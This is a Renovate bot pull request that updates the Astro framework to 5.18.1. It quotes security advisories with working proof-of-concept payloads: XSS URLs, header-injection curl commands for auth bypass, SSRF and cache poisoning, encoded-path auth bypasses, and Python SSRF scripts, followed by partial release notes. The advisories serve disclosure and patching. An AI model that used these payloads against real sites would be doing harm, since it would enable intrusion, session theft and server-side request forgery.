Skip to content

fix(deps): update dependency astro to v5.18.1 [security]#202

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-astro-vulnerability
Open

fix(deps): update dependency astro to v5.18.1 [security]#202
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-astro-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Nov 14, 2025

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
astro (source) 5.15.15.18.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-64745

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.

Details

Vulnerability Location

https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149

Root Cause

The vulnerability was introduced in commit 536175528 (PR #​12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.

Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.

Attack Vector

When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.

PoC

Local Testing (localhost)

Basic vulnerability verification in local development environment

Show details

astro.config.mjs:

import { defineConfig } from 'astro/config';

export default defineConfig({
  trailingSlash: 'never', // or 'always'
  server: {
    port: 3000,
    host: true
  }
});

package.json:

{
  "name": "astro-xss-poc-victim",
  "version": "0.1.0",
  "scripts": {
    "dev": "astro dev"
  },
  "dependencies": {
    "astro": "5.15.5"
  }
}

Start the development server:

npm install
npm run dev

Access the following malicious URL depending on your configuration:

For trailingSlash: 'never' (requires trailing slash):

http://localhost:3000/"></code><script>alert(document.domain)</script><!--/

For trailingSlash: 'always' (no trailing slash):

http://localhost:3000/"></code><script>alert(document.domain)</script><!--

When accessing the malicious URL:

  1. The development server returns a 404 page due to trailing slash mismatch
  2. The JavaScript payload (alert(document.domain)) executes in the browser
  3. An alert dialog appears, demonstrating arbitrary code execution

Remote Testing (ngrok)

Reproduce realistic attack scenario via external malicious link

Show details

Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)

Setup and Execution:

#!/bin/bash
set -e

mkdir -p logs

npm i
npm run dev > ./logs/victim.log 2>&1 &

ngrok http 3000 > ./logs/ngrok.log 2>&1 &

sleep 3

NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait

When a remote user accesses either of the generated attack URLs:

  1. The request is tunneled through ngrok to the local development server
  2. The development server returns a 404 page due to trailing slash mismatch
  3. The JavaScript payload (alert(document.domain)) executes in the user's browser

Both URL patterns work depending on your trailingSlash configuration ('never' or 'always').

Impact

This only affects the development server. Risk depends on how and where the dev server is exposed.

Security impact

  • Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
  • Session hijacking: Active developer sessions can be stolen if services are open in the browser.
  • Local resource access: JS may probe localhost endpoints or dev tools depending on browser policies.
  • Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.

Attack scenarios

  • Social engineering: Malicious link sent to a developer triggers the XSS when opened.
  • Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
  • Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.

CVE-2025-64525

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97
https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

Note

The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});
  1. When tryint to access /admin the attacker is naturally redirected :

    curl -i http://localhost:4321/admin
    image
  2. The attackr can bypass the middleware path check using a malicious header value:

    curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin
    image

How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website:
Capture d’écran 2025-11-03 à 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:
Capture d’écran 2025-11-06 à 21 18 26
empty x-forwarded-host + the target host in the path

Credits

  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

CVE-2025-64764

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

  • e: component to export
  • p: the transmitted properties, encrypted
  • s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values ​​are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

image

An entire template is created, completely independently, and then returned:

  • the absolute path name is sanitized and then injected as the tag name
  • childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

  • Latest Astro version at the time (5.15.6)
  • Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

image

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

for_respected_patron

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits

  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

CVE-2025-64765

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

https://github.com/withastro/astro/blob/ebc4b1cde82c76076d5d673b5b70f94be2c066f3/packages/astro/src/vite-plugin-astro-server/request.ts#L40-L44

/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context

Consider an application having the following middleware code:

import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check

GET /%61dmin HTTP/1.1
Host: localhost:3000
image

Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this

        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);

Thank you, let @​Sudistark know if any more info is needed. Happy to help :)

CVE-2025-65019

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @​astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

  • @astrojs/cloudflare ≤ 12.6.10 (and likely all previous versions)
  • Astro ≥ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@&#8203;astrojs/internal-helpers/src/remote.ts

export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}

In the Cloudflare adapter, the /_image endpoint contains logic similar to:

	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}

Because data: URLs are considered “allowed”, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

  1. Create a minimal Astro project with Cloudflare adapter (output: 'server').
  2. Deploy to Cloudflare Pages or Workers.
  3. Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==

(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

  1. The endpoint returns a 302 redirect to the data: URL → browser executes the <script>alert() fires.

Impact

  • Reflected/Strored XSS (depending on application usage)
  • Session hijacking (access to cookies, localStorage, etc.)
  • Account takeover when combined with CSRF
  • Data exfiltration to attacker-controlled servers
  • Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

CVE-2025-66202

Authentication Bypass via Double URL Encoding in Astro

Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794


Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :

if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

CVE-2026-33769

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Release Notes

withastro/astro (astro)

v5.18.1

Compare Source

Patch Changes

v5.18.0

Compare Source

Minor Changes
  • #​15589 b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.

    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.

    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.

    // astro.config.mjs
    export default defineConfig({
      security: {
        actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB
      },
    });
Patch Changes
  • #​15594 efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.

v5.17.3

Compare Source

Patch Changes

v5.17.2

Compare Source

Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies

v5.17.1

Compare Source

Patch Changes
  • #​15334 d715f1f Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Removes the getFontBuffer() helper function exported from astro:assets when using the experimental Fonts API

    This experimental feature introduced in v15.6.13 ended up causing significant memory usage during build. This feature has been removed and will be reintroduced after further exploration and testing.

    If you were relying on this function, you can replicate the previous behavior manually:

    • On prerendered routes, read the file using node:fs
    • On server rendered routes, fetch files using URLs from fontData and context.url

v5.17.0

Compare Source

Minor Changes
  • #​14932 b19d816 Thanks @​patrickarlt! - Adds support for returning a Promise from the parser() option of the file() loader

    This enables you to run asynchronous code such as fetching remote data or using async parsers when loading files with the Content Layer API.

    For example:

    import { defineCollection } from 'astro:content';
    import { file } from 'astro/loaders';
    
    const blog = defineCollection({
      loader: file('src/data/blog.json', {
        parser: async (text) => {
          const data = JSON.parse(text);
    
          // Perform async operations like fetching additional data
          const enrichedData = await fetch(`https://api.example.com/enrich`, {
            method: 'POST',
            body: JSON.stringify(data),
          }).then((res) => res.json());
    
          return enrichedData;
        },
      }),
    });
    
    export const collections = { blog };

    See the parser() reference documentation for more information.

  • #​15171 f220726 Thanks @​mark-ignacio! - Adds a new, optional kernel configuration option to select a resize algorithm in the Sharp image service

    By default, Sharp resizes images with the lanczos3 kernel. This new config option allows you to set the default resizing algorithm to any resizing option supported by Sharp (e.g. linear, mks2021).

    Kernel selection can produce quite noticeable differences depending on various characteristics of the source image - especially drawn art - so changing the kernel gives you more control over the appearance of images on your site:

    export default defineConfig({
      image: {
        service: {
          entrypoint: 'astro/assets/services/sharp',
          config: {
            kernel: "mks2021"
          }
      }
    })

    This selection will apply to all images on your site, and is not yet configurable on a per-image basis. For more information, see Sharps documentation on resizing images.

  • #​15063 08e0fd7 Thanks @​jmortlock! - Adds a new partitioned option when setting a cookie to allow creating partitioned cookies.

    Partitioned cookies can only be read within the context of the top-level site on which they were set. This allows cross-site tracking to be blocked, while still enabling legitimate uses of third-party cookies.

    You can create a partitioned cookie by passing partitioned: true when setting a cookie. Note that partitioned cookies must also be set with secure: true:

    Astro.cookies.set('my-cookie', 'value', {
      partitioned: true,
      secure: true,
    });

    For more information, see the AstroCookieSetOptions API reference.

  • #​15022 f1fce0e Thanks @​ascorbic! - Adds a new retainBody option to the glob() loader to allow reducing the size of the data store.

    Currently, the glob() loader stores the raw body of each content file in the entry, in addition to the rendered HTML.

    The retainBody option defaults to true, but you can set it to false to prevent the raw body of content files from being stored in the data store. This significantly reduces the deployed size of the data store and helps avoid hitting size limits for sites with very large collections.

    The rendered body will still be available in the entry.rendered.html property for markdown files, and the entry.filePath property will still point to the original file.

    import { defineCollection } from 'astro:content';
    import { glob } from 'astro/loaders';
    
    const blog = defineCollection({
      loader: glob({
        pattern: '**/*.md',
        base: './src/content/blog',
        retainBody: false,
      }),
    });

    When retainBody is false, entry.body will be undefined instead of containing the raw file contents.

  • #​15153 928529f Thanks @​jcayzac! - Adds a new background property to the <Image /> component.

    This optional property lets you pass a background color to flatten the image with. By default, Sharp uses a black background when flattening an image that is being converted to a format that does not support transparency (e.g. jpeg). Providing a value for background on an <Image /> component, or passing it to the getImage() helper, will flatten images using that color instead.

    This is especially useful when the requested output format doesn't support an alpha channel (e.g. jpeg) and can't support transparent backgrounds.

    ---
    import { Image } from 'astro:assets';
    ---
    
    <Image
      src="/transparent.png"
      alt="A JPEG with a white background!"
      format="jpeg"
      background="#ffffff"
    />

    See more about this new property in the image reference docs

  • #​15015 54f6006 Thanks @​tony! - Adds optional placement config option for the dev toolbar.

    You can now configure the default toolbar position ('bottom-left', 'bottom-center', or 'bottom-right') via devToolbar.placement in your Astro config. This option is helpful for sites with UI elements (chat widgets, cookie banners) that are consistently obscured by the toolbar in the dev environment.

    You can set a project default that is consistent across environments (e.g. dev machines, browser instances, team members):

    // astro.config.mjs
    export default defineConfig({
      devToolbar: {
        placement: 'bottom-left',
      },
    });

    User preferences from the toolbar UI (stored in localStorage) still take priority, so this setting can be overridden in individual situations as necessary.

v5.16.16

Compare Source

Patch Changes

v5.16.15

Compare Source

Patch Changes
  • #​15286 0aafc83 Thanks @​florian-lefebvre! - Fixes a case where font providers provided as class instances may not work when using the experimental Fonts API. It affected the local provider

v5.16.14

Compare Source

Patch Changes
  • #​15213 c775fce Thanks @​florian-lefebvre! - BREAKING CHANGE to the experimental Fonts API only

    Updates how the local provider must be used when using the experimental Fonts API

    Previously, there were 2 kinds of font providers: remote and local.

    Font providers are now unified. If you are using the local provider, the process for configuring local fonts must be updated:

    -import { defineConfig } from "astro/config";
    +import { defineConfig, fontProviders } from "astro/config";
    
    export default defineConfig({
        experimental: {
            fonts: [{
                name: "Custom",
                cssVariable: "--font-custom",
    -            provider: "local",
    +            provider: fontProviders.local(),
    +            options: {
                variants: [
                    {
                        weight: 400,
                        style: "normal",
                        src: ["./src/assets/fonts/custom-400.woff2"]
                    },
                    {
                        weight: 700,
                        style: "normal",
                        src: ["./src/assets/fonts/custom-700.woff2"]
                    }
                    // ...
                ]
    +            }
            }]
        }
    });

    Once configured, there is no change to using local fonts in your project. However, you should inspect your deployed site to confirm that your new font configuration is being applied.

    See the experimental Fonts API docs for more information.

  • #​15213 c775fce Thanks @​florian-lefebvre! - Exposes root on FontProvider init() context

    When building a custom FontProvider for the experimental Fonts API, the init() method receives a context. This context now exposes a root URL, useful for resolving local files:

    import type { FontProvider } from "astro";
    
    export function registryFontProvider(): FontProvider {
      return {
        // ...
    -    init: async ({ storage }) => {
    +    init: async ({ storage, root }) => {
            // ...
        },
      };
    }
  • #​15185 edabeaa Thanks @​EricGrill! - Add .vercel to .gitignore when adding the Vercel adapter via astro add vercel

v5.16.13

Compare Source

Patch Changes
  • #​15182 cb60ee1 Thanks @​florian-lefebvre! - Adds a new getFontBuffer() method to retrieve font file buffers when using the experimental Fonts API

    The getFontData() helper function from astro:assets was introduced in 5.14.0 to provide access to font family data for use outside of Astro. One of the goals of this API was to be able to retrieve buffers using URLs.

    However, it turned out to be impactical and even impossible during prerendering.

    Astro now exports a new getFontBuffer() helper function from astro:assets to retrieve font file buffers from URL returned by getFontData(). For example, when using satori to generate OpenGraph images:

    // src/pages/og.png.ts
    
    import type{ APIRoute } from "astro"
    -import { getFontData } from "astro:assets"
    +import { getFontData, getFontBuffer } from "astro:assets"
    import satori from "satori"
    
    export const GET: APIRoute = (context) => {
      const data = getFontData("--font-roboto")
    
      const svg = await satori(
        <div style={{ color: "black" }}>hello, world</div>,
        {
          width: 600,
          height: 400,
          fonts: [
            {
              name: "Roboto",
    -          data: await fetch(new URL(data[0].src[0].url, context.url.origin)).then(res => res.arrayBuffer()),
    +          data: await getFontBuffer(data[0].src[0].url),
              weight: 400,
              style: "normal",
            },
          ],
        },
      )
    
      // ...
    }

    See the experimental Fonts API documentation for more information.

v5.16.12

Compare Source

Patch Changes
  • #​15175 47ae148 Thanks @​florian-lefebvre! - Allows experimental Font providers to specify family options

    Previously, an Astro FontProvider could only accept options at the provider level when called. That could result in weird data structures for family-specific options.

    Astro FontProviders can now declare family-specific options, by specifying a generic:

    // font-provider.ts
    import type { FontProvider } from "astro";
    import { retrieveFonts, type Fonts } from "./utils.js",
    
    interface Config {
      token: string;
    }
    
    +interface FamilyOptions {
    +    minimal?: boolean;
    +}
    
    -export function registryFontProvider(config: Config): FontProvider {
